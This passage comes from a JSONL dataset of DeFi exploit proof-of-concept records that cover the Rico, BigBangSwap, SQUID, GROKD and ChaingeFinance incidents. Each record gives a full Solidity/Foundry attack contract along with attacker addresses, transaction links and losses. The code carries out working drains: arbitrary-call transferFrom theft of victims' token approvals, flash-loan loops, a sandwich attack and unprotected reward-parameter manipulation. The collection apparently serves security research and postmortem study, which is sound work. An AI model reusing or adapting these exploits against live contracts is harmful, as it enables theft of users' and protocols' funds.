swapTokens(WSTETH_TOKEN);\n swapTokens(WETH_TOKEN);\n swapTokens(ARB_USDC_TOEKN);\n\n // Log balances after exploit\n emit log_named_decimal_uint(\n \"Attacker USDC Balance After exploit\", IERC20(USDC_TOKEN).balanceOf(address(this)), 6\n );\n }\n\n function _getTransferData(\n address token\n ) internal view returns (bytes memory data) {\n uint256 tokenBalance = IERC20(token).balanceOf(BankDiamond);\n data = abi.encodeWithSelector(IERC20.transfer.selector, address(this), tokenBalance);\n }\n\n function _getTransferFromData(address token, address user) internal view returns (bytes memory data) {\n uint256 tokenBalance = IERC20(token).balanceOf(BankDiamond);\n uint256 tokenAllowance = IERC20(token).allowance(user, BankDiamond);\n if (tokenBalance >= tokenAllowance) {\n data = abi.encodeWithSelector(IERC20.transferFrom.selector, user, address(this), tokenBalance);\n }\n }\n\n function transferTokens(\n address token\n ) internal {\n IBankDiamond(BankDiamond).flash(token, _getTransferData(token));\n }\n\n function transferFromOwner(address owner, address token) internal {\n bytes memory callData = _getTransferFromData(token, owner);\n if (callData.length > 0) {\n IBankDiamond(BankDiamond).flash(token, callData);\n }\n }\n\n function swapTokens(\n address token\n ) internal {\n uint256 tokenBalance = IERC20(token).balanceOf(address(this));\n IERC20(token).approve(UniV3Router, tokenBalance);\n\n Uni_Router_V3.ExactInputSingleParams memory params;\n params.tokenIn = token;\n params.tokenOut = USDC_TOKEN;\n params.fee = 3000;\n params.recipient = address(this);\n params.deadline = block.timestamp;\n params.amountIn = tokenBalance;\n params.amountOutMinimum = 0;\n params.sqrtPriceLimitX96 = 0;\n Uni_Router_V3(UniV3Router).exactInputSingle(params);\n }\n}\n", "type": "exploit_poc", "protocol": "Rico", "date": "2024-04", "file_name": "Rico_exp.sol", "attack_vector": null, "content_hash": "91e171d0d885f409", "collected_at": "2026-01-07T10:59:16.527532", "_source": "postmortems", "chain": "arbitrum", "block_number": null, "total_lost_raw": "36K", "total_lost_usd": 36000.0, "attacker_address": "https://arbiscan.io/address/0xc91cb089084f0126458a1938b794aa73b9f9189d", "attack_contract": "https://arbiscan.io/address/0x68d843d31de072390d41bff30b0076bef0482d8f", "vulnerable_contract": "https://arbiscan.io/address/0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b", "attack_tx": "https://arbiscan.io/tx/0x5d2a94785d95a740ec5f778e79ff014c880bcefec70d1a7c2440e611f84713d6", "postmortem_url": null, "twitter_url": "https://twitter.com/0xlouistsai/status/1781845191047164016", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "36K", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Attacker USDC Balance Before exploit\", IERC20(USDC_TOKEN).balanceOf(address(this)), 6\n );\n\n // Transfer tokens from BankDiamond to the attacker\n transferTokens(USDC_TOKEN);\n transferTokens(ARB_TOKEN);\n transferTokens(LINK_TOKEN);\n transferTokens(WSTETH_TOKEN);\n transferTokens(WETH_TOKEN);\n transferTokens(ARB_USDC_TOEKN);\n\n // TransferFrom tokens from owners to the attacker\n transferFromOwner(0x512E07A093aAA20Ba288392EaDF03838C7a4e522, USDC_TOKEN);\n transferFromOwner(0x83eCCb05386B2d10D05e1BaEa8aC89b5B7EA8290, USDC_TOKEN);\n transferFromOwner(0x7b782A4D552a8ceB3924005a786a1a358BA63f71, WSTETH_TOKEN);\n\n // Swap tokens to USDC using UniV3Router\n swapTokens(ARB_TOKEN);\n swapTokens(LINK_TOKEN);\n swapTokens(WSTETH_TOKEN);\n swapTokens(WETH_TOKEN);\n swapTokens(ARB_USDC_TOEKN);\n\n // Log balances after exploit\n emit log_named_decimal_uint(\n \"Attacker USDC Balance After exploit\", IERC20(USDC_TOKEN).balanceOf(address(this)), 6\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "36K", "keyinfo_attacker": "https://arbiscan.io/address/0xc91cb089084f0126458a1938b794aa73b9f9189d", "keyinfo_attack_contract": "https://arbiscan.io/address/0x68d843d31de072390d41bff30b0076bef0482d8f", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b", "keyinfo_attack_tx": "https://arbiscan.io/tx/0x5d2a94785d95a740ec5f778e79ff014c880bcefec70d1a7c2440e611f84713d6", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/0xlouistsai/status/1781845191047164016", "funds_lost_formatted": "$36.0K", "content_richness_score": 8.29, "quality_estimate": "high", "title": "Rico Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~5k $BUSD\n// Attacker : https://bscscan.com/address/0xc1b6f9898576d722dbf604aaa452cfea3a639c59\n// Attack Contract : https://bscscan.com/address/0xb22cf0e1672344f23f3126fbd35f856e961fd780\n// Vulnerable Contract : https://bscscan.com/address/0xa45d4359246dbd523ab690bef01da06b07450030\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x94055664287a565d4867a97ba6d5d2e28c55d10846e3f83355ba84bd1b9280fc\n\n// @Analysis\n// https://x.com/DecurityHQ/status/1778075039293727143\n \n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IDPPAdvanced {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n}\n\ninterface ITransparentUpgradeableProxy {\n function sellRewardToken(\n uint256 amuont\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 BGG = IERC20(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakePair BUSD_BGG_LpPool_Pancake = IPancakePair(0x218674fc1df16B5d4F0227A59a2796f13FEbC5f2);\n IPancakePair BUSD_BGG_LpPool_SwapRouter = IPancakePair(0x68E465A8E65521631f36404D9fB0A6FaD62A3B37);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IDPPAdvanced DODO = IDPPAdvanced(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);\n ITransparentUpgradeableProxy TransparentUpgradeableProxy =\n ITransparentUpgradeableProxy(0xa45D4359246DBD523Ab690Bef01Da06B07450030);\n\n AttackContract attackContract;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 37_740_105 - 1);\n vm.label(address(BGG), \"BGG\");\n vm.label(address(BUSD), \"BUSD\");\n vm.label(address(BUSD_BGG_LpPool_Pancake), \"BUSD_BGG_LpPool_Pancake\");\n vm.label(address(BUSD_BGG_LpPool_SwapRouter), \"BUSD_BGG_LpPool_SwapRouter\");\n vm.label(address(Router), \"Router\");\n vm.label(address(DODO), \"DODO\");\n }\n\n function testExploit() public {\n BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));\n\n BUSD.approve(address(Router), type(uint256).max);\n BGG.approve(address(TransparentUpgradeableProxy), type(uint256).max);\n\n emit log_named_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)));\n DODO.flashLoan(50 * 1e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)));\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n for (uint256 i = 0; i < 70; i++) {\n attackContract = new AttackContract();\n BUSD.transfer(address(attackContract), 15 * 1e18);\n attackContract.Attack();\n attackContract.Claim();\n }\n BUSD.transfer(address(DODO), 50 * 1e18);\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n\ncontract AttackContract {\n IERC20 BGG = IERC20(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakePair BUSD_BGG_LpPool_Pancake = IPancakePair(0x218674fc1df16B5d4F0227A59a2796f13FEbC5f2);\n IPancakePair BUSD_BGG_LpPool_SwapRouter = IPancakePair(0x68E465A8E65521631f36404D9fB0A6FaD62A3B37);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IDPPAdvanced DODO = IDPPAdvanced(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);\n ITransparentUpgradeableProxy TransparentUpgradeableProxy =\n ITransparentUpgradeableProxy(0xa45D4359246DBD523Ab690Bef01Da06B07450030);\n\n address owner;\n\n constructor() {\n owner = msg.sender;\n BUSD.approve(address(Router), type(uint256).max);\n BGG.approve(address(TransparentUpgradeableProxy), type(uint256).max);\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only owner can perform this action\");\n _;\n }\n\n function Attack() external onlyOwner {\n BUSDTOTOKEN();\n TransparentUpgradeableProxy.sellRewardToken(BGG.balanceOf(address(this)));\n }\n\n function Claim() external onlyOwner {\n BUSD.transfer(owner, BUSD.balanceOf(address(this)));\n }\n\n function BUSDTOTOKEN() internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSD);\n path[1] = address(BGG);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n BUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "BigBangSwap", "date": "2024-04", "file_name": "BigBangSwap_exp.sol", "attack_vector": "flash_loan", "content_hash": "d45da9401aca34a5", "collected_at": "2026-01-07T10:59:16.527582", "_source": "postmortems", "chain": "bsc", "block_number": 37740105, "total_lost_raw": "~5k $BUSD", "total_lost_usd": 5000.0, "attacker_address": "https://bscscan.com/address/0xc1b6f9898576d722dbf604aaa452cfea3a639c59", "attack_contract": "https://bscscan.com/address/0xb22cf0e1672344f23f3126fbd35f856e961fd780", "vulnerable_contract": "https://bscscan.com/address/0xa45d4359246dbd523ab690bef01da06b07450030", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x94055664287a565d4867a97ba6d5d2e28c55d10846e3f83355ba84bd1b9280fc", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~5k $BUSD", "category": "flash-loan", "exploit_code": "function testExploit() public {\n BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));\n\n BUSD.approve(address(Router), type(uint256).max);\n BGG.approve(address(TransparentUpgradeableProxy), type(uint256).max);\n\n emit log_named_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)));\n DODO.flashLoan(50 * 1e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~5k $BUSD", "keyinfo_attacker": "https://bscscan.com/address/0xc1b6f9898576d722dbf604aaa452cfea3a639c59", "keyinfo_attack_contract": "https://bscscan.com/address/0xb22cf0e1672344f23f3126fbd35f856e961fd780", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xa45d4359246dbd523ab690bef01da06b07450030", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x94055664287a565d4867a97ba6d5d2e28c55d10846e3f83355ba84bd1b9280fc", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$5.0K", "content_richness_score": 9.42, "quality_estimate": "high", "title": "BigBangSwap Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x9fcf38d0af4dd08f4d60f7658b623e35664e74bca0eaebdb0c3b9a6965d6257b\n// GUY : https://twitter.com/bbbb/status/1777228277415039304\n \n// Profit : ~87K USD\n// REASON : Sandwitch attack\n\ninterface IsquidSwap {\n function swapTokens(\n uint256 amount\n ) external;\n function sellSwappedTokens(\n uint256 sellOption\n ) external;\n}\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 SQUID_1 = IERC20(0x87230146E138d3F296a9a77e497A2A83012e9Bc5);\n IERC20 SQUID_2 = IERC20(0xFAfb7581a65A1f554616Bf780fC8a8aCd2Ab8c9b);\n IsquidSwap SQUID_SWAP = IsquidSwap(0xd309f0Fd5C3b90ecFb7024eDe7D329d9582492c5);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n Uni_Pair_V2 wbnb_atm = Uni_Pair_V2(0xAea45F6d5801Fc716C654872Eb1E2235472A18B9);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n uint256 borrow_amount;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 37_672_969);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", WBNB.balanceOf(address(this)), 18);\n borrow_amount = 10_000 ether;\n pool.flash(address(this), 0, borrow_amount, \"\");\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {\n swap_token_to_token(address(WBNB), address(SQUID_1), 7000 ether);\n SQUID_1.approve(address(SQUID_SWAP), SQUID_1.balanceOf(address(this)));\n SQUID_SWAP.swapTokens(SQUID_1.balanceOf(address(this)));\n swap_token_to_token(address(WBNB), address(SQUID_2), 3000 ether);\n uint256 i = 0;\n uint256 j = 0;\n while (i < 8000) {\n try SQUID_SWAP.sellSwappedTokens(0) {}\n catch {\n break;\n }\n i++;\n }\n\n while (j < 4) {\n swap_token_to_token(address(SQUID_2), address(WBNB), SQUID_2.balanceOf(address(this)));\n swap_token_to_token(address(WBNB), address(SQUID_1), 7000 ether);\n SQUID_1.approve(address(SQUID_SWAP), SQUID_1.balanceOf(address(this)));\n SQUID_SWAP.swapTokens(SQUID_1.balanceOf(address(this)));\n swap_token_to_token(address(WBNB), address(SQUID_2), 3000 ether);\n while (i < 8000) {\n try SQUID_SWAP.sellSwappedTokens(0) {}\n catch {\n break;\n }\n i++;\n }\n j++;\n }\n swap_token_to_token(address(SQUID_2), address(WBNB), SQUID_2.balanceOf(address(this)));\n WBNB.transfer(address(pool), borrow_amount + fee1);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "SQUID", "date": "2024-04", "file_name": "SQUID_exp.sol", "attack_vector": null, "content_hash": "8f928f3c9cb56977", "collected_at": "2026-01-07T10:59:16.527635", "_source": "postmortems", "chain": "unknown", "block_number": 37672969, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.73, "quality_estimate": "low", "title": "SQUID Exploit (2024-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.20;\n\nimport {Test, console2} from \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX 1:https://app.blocksec.com/explorer/tx/bsc/0x383dbb44a91687b2b9bbd8b6779957a198d114f24af662776f384569b84fc549\n// TX 2: https://app.blocksec.com/explorer/tx/bsc/0x8293946b5c88c4a21250ca6dc93c6d1a695fb5d067bb2d4aed0a11bd5af1fb32\n// GUY : https://x.com/hipalex921/status/1778482890705416323?t=KvvG83s7SXr9I55aftOc6w&s=05\n// Exploit Address:https://bscscan.com/address/0x31d3231cda62c0b7989b488ca747245676a32d81\n\n// Profit : ~ 150 bnb\n// REASON : lack of access control;\n\ninterface IDeposite {\n function deposit(address to, uint256 amount) external;\n function pending(\n address\n ) external view returns (uint256 bnbAmount, uint256 erc20Amount, uint256 lpAmount);\n function poolInfo(\n uint256\n ) external view returns (uint256 startBlock, uint256 endBlock, uint256 rewardPerBlock);\n function updatePool(uint256, PoolInfo calldata) external;\n\n struct PoolInfo {\n uint256 startBlock;\n uint256 endBlock;\n uint256 rewardPerBlock;\n }\n\n function withdraw(\n uint256 amount\n ) external;\n function userInfo(\n address\n )\n external\n view\n returns (\n address inviter,\n uint256 amount,\n uint256 rewardDebt,\n uint256 rewardBNBDebt,\n uint256 rewardLPDebt,\n uint256 lastRewardBlock,\n uint256 saveBNBBlaance,\n uint256 saveGrokDBlaance,\n uint256 releaseBlock\n );\n function depositFromIDO(address to, uint256 amount) external;\n function reward() external;\n function update() external;\n}\n\ncontract GROKDTest is Test {\n address _grokd = 0xa4133feD73Ea3361f2f928f98313b1e1e5049612;\n address _pair = 0x8AF65d9114DfcCd050e7352D77eeC98f40c42CFD;\n address _wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n address _cake_lp = 0x8AF65d9114DfcCd050e7352D77eeC98f40c42CFD;\n address _route = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address _deposite = 0x31d3231cDa62C0b7989b488cA747245676a32D81;\n\n IERC20 grokd = IERC20(_grokd);\n IWETH wBNB = IWETH(payable(_wBNB));\n IERC20 pair_token = IERC20(_cake_lp);\n IDeposite depositor = IDeposite(0x31d3231cDa62C0b7989b488cA747245676a32D81);\n IUniswapV2Pair pair = IUniswapV2Pair(_cake_lp);\n IUniswapV2Router route = IUniswapV2Router(payable(_route));\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 37_622_476);\n }\n\n function testExploit() external {\n deal(address(this), 5 ether);\n uint256 _beforeB = address(this).balance;\n approveAll();\n getLpToken(5 ether);\n {\n (uint256 startBlock, uint256 endBlock, uint256 rewardPerBlock) = depositor.poolInfo(0);\n console2.log(\"get startBlock is \", startBlock);\n console2.log(\"get endBlock is \", endBlock);\n console2.log(\"get rewardPerBlock is \", rewardPerBlock);\n (uint256 bnbAmount, uint256 erc20Amount, uint256 lpAmount) = depositor.pending(address(this));\n console2.log(\"current bnbAmount reward is \", bnbAmount);\n console2.log(\"current profit erc20Amount reward is \", erc20Amount);\n console2.log(\"current lpAmount reward is \", lpAmount);\n\n //set the pool params,could get a very high reward per block.\n IDeposite.PoolInfo memory _poolInfo = IDeposite.PoolInfo({\n startBlock: 0,\n endBlock: block.number + 100_000_000,\n rewardPerBlock: 48_000_000 ether\n });\n //deposit token to contract.\n uint256 depositeAmount = pair_token.balanceOf(address(this));\n console2.log(\"deposit lp amount is \", depositeAmount);\n console2.log(\"total token in pool is \", grokd.balanceOf(_deposite));\n depositor.depositFromIDO(address(this), depositeAmount);\n vm.roll(block.number + 1);\n //update pool\n depositor.updatePool(0, _poolInfo);\n (uint256 startBlock2, uint256 endBlock2, uint256 rewardPerBlock2) = depositor.poolInfo(0);\n console2.log(\"after set pooldate startBlock is \", startBlock2);\n console2.log(\"after set pooldate endBlock is \", endBlock2);\n console2.log(\"after set pooldate rewardPerBlock is \", rewardPerBlock2);\n /*(uint256 startBlock2, uint256 endBlock2, uint256 rewardPerBlock2) = depositor.poolInfo(0);\n console2.log(\" startBlock2 is \",startBlock2);\n console2.log(\"get endBlock2 is \",endBlock2);\n console2.log(\"get rewardPerBlock2 is \",rewardPerBlock2);*/\n //update reward\n vm.roll(block.number + 1);\n depositor.update();\n\n (uint256 bnbAmount2, uint256 erc20Amount2, uint256 lpAmount2) = depositor.pending(address(this));\n console2.log(\"affter one block get bnbAmount2 is \", bnbAmount2);\n console2.log(\"affter one block get grokd Amount2 is \", erc20Amount2);\n console2.log(\"affter one block get lpAmount2 is \", lpAmount2);\n depositor.reward();\n swapToken2Bnb(grokd.balanceOf(address(this)));\n }\n uint256 _afterB = address(this).balance;\n uint256 _profit = _afterB - _beforeB;\n console2.log(\"total profit bnb is \", _profit);\n }\n //get lp token and deposit it.\n\n function getLpToken(\n uint256 _amount\n ) internal {\n (bool success,) = _wBNB.call{value: _amount}(\"\");\n require(success, \"fuck!\");\n address[] memory paths = new address[](2);\n paths[0] = _wBNB;\n paths[1] = _grokd;\n route.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 2.5 ether, 0, paths, address(this), type(uint256).max\n );\n (uint112 reserve0, uint112 reserve1,) = pair.getReserves();\n uint256 balance0 = grokd.balanceOf(address(pair));\n uint256 balance1 = grokd.balanceOf(address(pair));\n route.addLiquidity(\n _grokd,\n _wBNB,\n grokd.balanceOf(address(this)),\n wBNB.balanceOf(address(this)),\n 100_000 ether,\n 1 ether,\n address(this),\n type(uint256).max\n );\n }\n\n function swapToken2Bnb(\n uint256 amount\n ) internal {\n address[] memory paths = new address[](2);\n paths[0] = _grokd;\n paths[1] = _wBNB;\n route.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, paths, address(this), type(uint256).max);\n wBNB.withdraw(wBNB.balanceOf(address(this)));\n }\n\n function approveAll() internal {\n grokd.approve(_route, type(uint256).max);\n wBNB.approve(_route, type(uint256).max);\n pair_token.approve(_deposite, type(uint256).max);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "GROKD", "date": "2024-04", "file_name": "GROKD_exp.sol", "attack_vector": "access_control", "content_hash": "b42f83c24e4f54c0", "collected_at": "2026-01-07T10:59:16.527694", "_source": "postmortems", "chain": "bsc", "block_number": 37622476, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "access-control", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4, "quality_estimate": "low", "title": "GROKD Exploit (2024-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost : ~200K\n// Attacker1 : https://bscscan.com/address/0x6eec0f4c017afe3dfadf32b51339c37e9fd59dfb\n// Attack Contract : https://bscscan.com/address/0x791c6542bc52efe4f20df0ee672b88579ae3fd9a\n// Vulnerable Contract : https://bscscan.com/address/0x80a0d7a6fd2a22982ce282933b384568e5c852bf\n// Attack Tx1 : https://bscscan.com/tx/0x051276afa96f2a2bd2ac224339793d82f6076f76ffa8d1b9e6febd49a4ec11b2\n// Attack Tx2 : https://bscscan.com/tx/0x407e09faabf7072cd10dc86b7fa3180ccc1701f52f7fdca29464568498c30997\n// Attack Tx3 : https://bscscan.com/tx/0x21d8b164f0cb8beb1ed27d164ed986c3fc26b33655ce18226b05b9cfcf6cd93c\n\n// Attacker2 : https://bscscan.com/address/0xacdbe7b770a14ca3bc34865ac3986c0ce771fd68\n// Attack Contract : https://bscscan.com/address/0x52b19de39476823d33ab4b1edbec91e29dadba38\n// Attack Tx : https://bscscan.com/tx/0xd348b5fc00b26fc1457b70d02f9cb5e5a66a564cc4eba2136a473866a47dac08\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x80a0d7a6fd2a22982ce282933b384568e5c852bf#code\n\n// @Analysis\n// https://x.com/CertiKAlert/status/1779863821122691519\n// https://x.com/ChainAegis/status/1780064080512143429\n// https://github.com/Autosaida/DeFiHackAnalysis/blob/master/analysis/240415_ChaingeFinance.md\n\ninterface IBEP20 {\n function totalSupply() external view returns (uint256);\n function decimals() external view returns (uint8);\n function symbol() external view returns (string memory);\n function name() external view returns (string memory);\n function getOwner() external view returns (address);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transfer(address recipient, uint256 amount) external returns (bool);\n function allowance(address _owner, address spender) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n\ninterface MinterProxyV2 {\n function swap(\n address tokenAddr,\n uint256 amount,\n address target,\n address receiveToken,\n address receiver,\n uint256 minAmount,\n bytes calldata callData,\n bytes calldata order\n ) external payable;\n}\n\ncontract ChaingeFinanceTest is Test {\n IBEP20 constant usdt = IBEP20(0x55d398326f99059fF775485246999027B3197955);\n IBEP20 constant sol = IBEP20(0x570A5D26f7765Ecb712C0924E4De545B89fD43dF);\n IBEP20 constant AVAX = IBEP20(0x1CE0c2827e2eF14D5C4f29a091d735A204794041);\n IBEP20 constant babydoge = IBEP20(0xc748673057861a797275CD8A068AbB95A902e8de);\n IBEP20 constant FOLKI = IBEP20(0xfb5B838b6cfEEdC2873aB27866079AC55363D37E);\n IBEP20 constant ATOM = IBEP20(0x0Eb3a705fc54725037CC9e008bDede697f62F335);\n IBEP20 constant TLOS = IBEP20(0xb6C53431608E626AC81a9776ac3e999c5556717c);\n IBEP20 constant IOTX = IBEP20(0x9678E42ceBEb63F23197D726B29b1CB20d0064E5);\n IBEP20 constant linch = IBEP20(0x111111111117dC0aa78b770fA6A738034120C302);\n IBEP20 constant link = IBEP20(0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD);\n IBEP20 constant btcb = IBEP20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);\n IBEP20 constant eth = IBEP20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);\n address constant victim = 0x8A4AA176007196D48d39C89402d3753c39AE64c1;\n MinterProxyV2 minterproxy = MinterProxyV2(0x80a0D7A6FD2A22982Ce282933b384568E5c852bF);\n uint256 balance;\n\n uint256 blocknumToForkFrom = 37_880_387;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n }\n\n function testExploit() public {\n address[12] memory targetToken = [\n address(usdt),\n address(sol),\n address(AVAX),\n address(babydoge),\n address(FOLKI),\n address(ATOM),\n address(TLOS),\n address(IOTX),\n address(linch),\n address(link),\n address(btcb),\n address(eth)\n ];\n\n for (uint256 i = 0; i < targetToken.length; i++) {\n _attack(targetToken[i]);\n }\n }\n\n function _attack(\n address targetToken\n ) private {\n uint256 Balance = IBEP20(targetToken).balanceOf(victim);\n uint256 Allowance = IBEP20(targetToken).allowance(victim, address(minterproxy));\n uint256 amount = Balance < Allowance ? Balance : Allowance;\n if (amount == 0) {\n emit log_named_string(\"No allowed targetToken\", IBEP20(targetToken).name());\n return;\n }\n bytes memory transferFromData =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victim, address(this), amount);\n minterproxy.swap(\n address(this), 1, targetToken, address(this), address(this), 1, transferFromData, bytes(hex\"00\")\n );\n emit log_named_string(\"targetToken\", IBEP20(targetToken).name());\n emit log_named_decimal_uint(\n \"profit\", IBEP20(targetToken).balanceOf(address(this)), IBEP20(targetToken).decimals()\n );\n }\n\n function balanceOf(\n address /*account*/\n ) external view returns (uint256) {\n return balance;\n }\n\n function transfer(address, /*recipient*/ uint256 /*amount*/ ) external pure returns (bool) {\n return true;\n }\n\n function allowance(address, /*_owner*/ address /*spender*/ ) external pure returns (uint256) {\n return type(uint256).max;\n }\n\n function approve(address, /*spender*/ uint256 /*amount*/ ) external pure returns (bool) {\n return true;\n }\n\n function transferFrom(address, /*sender*/ address, /*recipient*/ uint256 amount) external returns (bool) {\n balance += amount;\n return true;\n }\n}\n", "type": "exploit_poc", "protocol": "ChaingeFinance", "date": "2024-04", "file_name": "ChaingeFinance_exp.sol", "attack_vector": null, "content_hash": "0276d3c66b4a9e89", "collected_at": "2026-01-07T10:59:16.527767", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~200K", "total_lost_usd": 200000.0, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0x791c6542bc52efe4f20df0ee672b88579ae3fd9a", "vulnerable_contract": "https://bscscan.com/address/0x80a0d7a6fd2a22982ce282933b384568e5c852bf", "attack_tx": "https://bscscan.com/tx/0xd348b5fc00b26fc1457b70d02f9cb5e5a66a564cc4eba2136a473866a47dac08", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~200K", "category": "unknown", "exploit_code": "function testExploit() public {\n address[12] memory targetToken = [\n address(usdt),\n address(sol),\n address(AVAX),\n address(babydoge),\n address(FOLKI),\n address(ATOM),\n address(TLOS),\n address(IOTX),\n address(linch),\n address(link),\n address(btcb),\n address(eth)\n 